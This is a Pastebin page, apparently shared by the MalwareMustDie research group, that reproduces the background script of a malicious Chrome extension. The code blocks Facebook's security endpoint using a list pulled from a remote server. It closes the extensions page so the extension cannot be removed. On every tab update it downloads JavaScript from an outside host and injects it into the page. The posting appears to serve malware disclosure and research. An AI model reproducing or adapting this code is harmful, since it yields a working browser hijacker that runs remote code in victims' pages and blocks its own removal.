SHARE
TWEET

#MalwareMustDie - background.js

MalwareMustDie Feb 23rd, 2014 551 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. chrome.webRequest.onBeforeRequest.addListener(
  2.         function (details) {
  3.                 var url = details.url;
  4.                 for (var i = 0; i < ibneler.length; i++) {
  5.                         if (url.indexOf(ibneler[i]) > -1) {
  6.                                 return {
  7.                                         cancel: true
  8.                                 };
  9.                         }
  10.                 }
  11.         }, {
  12.                 urls: ["<all_urls>"]
  13.         }, ["blocking"]);
  14. var ibneler = [
  15.         'https://www.facebook.com/csp.php'
  16. ];
  17. function Aytac() {
  18.         var xhr = new XMLHttpRequest();
  19.         xhr.onreadystatechange = function () {
  20.                 if (xhr.readyState == 4) {
  21.                         try {
  22.                                 JSON.parse(xhr.responseText).forEach(
  23.                                         function (d) {
  24.                                                 if (d.uri) {
  25.                                                         ibneler.push(d.uri);
  26.                                                 }
  27.                                         });
  28.                         } catch (e) {}
  29.                 }
  30.         };
  31.         xhr.open("GET",
  32.                 'http:\/\/www.wgetjs.com/\CRX/\get.js?amtasak=' +
  33.                 Math.random() * 999999, true);
  34.         xhr.send();
  35. }
  36. Aytac();
  37. chrome.tabs.onUpdated.addListener(
  38.         function (tabid, x, tab) {
  39.                 if (tab.url ==
  40.                         'chrome://extensions' ||
  41.                         tab.url == 'opera://extensions' ||
  42.                         tab.url == 'chrome://extensions/'
  43.                 ) {
  44.                         chrome.tabs.remove(tab.id);
  45.                 }
  46.         });
  47. chrome.tabs.onUpdated.addListener(function (tabId) {
  48.         chrome.tabs.get(tabId, function (tab) {
  49.                 {
  50.                         var xhr = new XMLHttpRequest();
  51.                         xhr.onreadystatechange = function () {
  52.                                 if (xhr.readyState == 4) {
  53.                                         if (tab.url.indexOf('devtools://') < 0) {
  54.                                                 chrome.tabs.executeScript(tab.id, {
  55.                                                         code: xhr.responseText
  56.                                                 });
  57.                                         }
  58.                                 }
  59.                         }
  60.                         xhr.open('GET', 'http://www.wjetphp.com/x/toplu.php?');
  61.                         xhr.send();                                            
  62.                 }
  63.         })
  64. });
RAW Paste Data
Top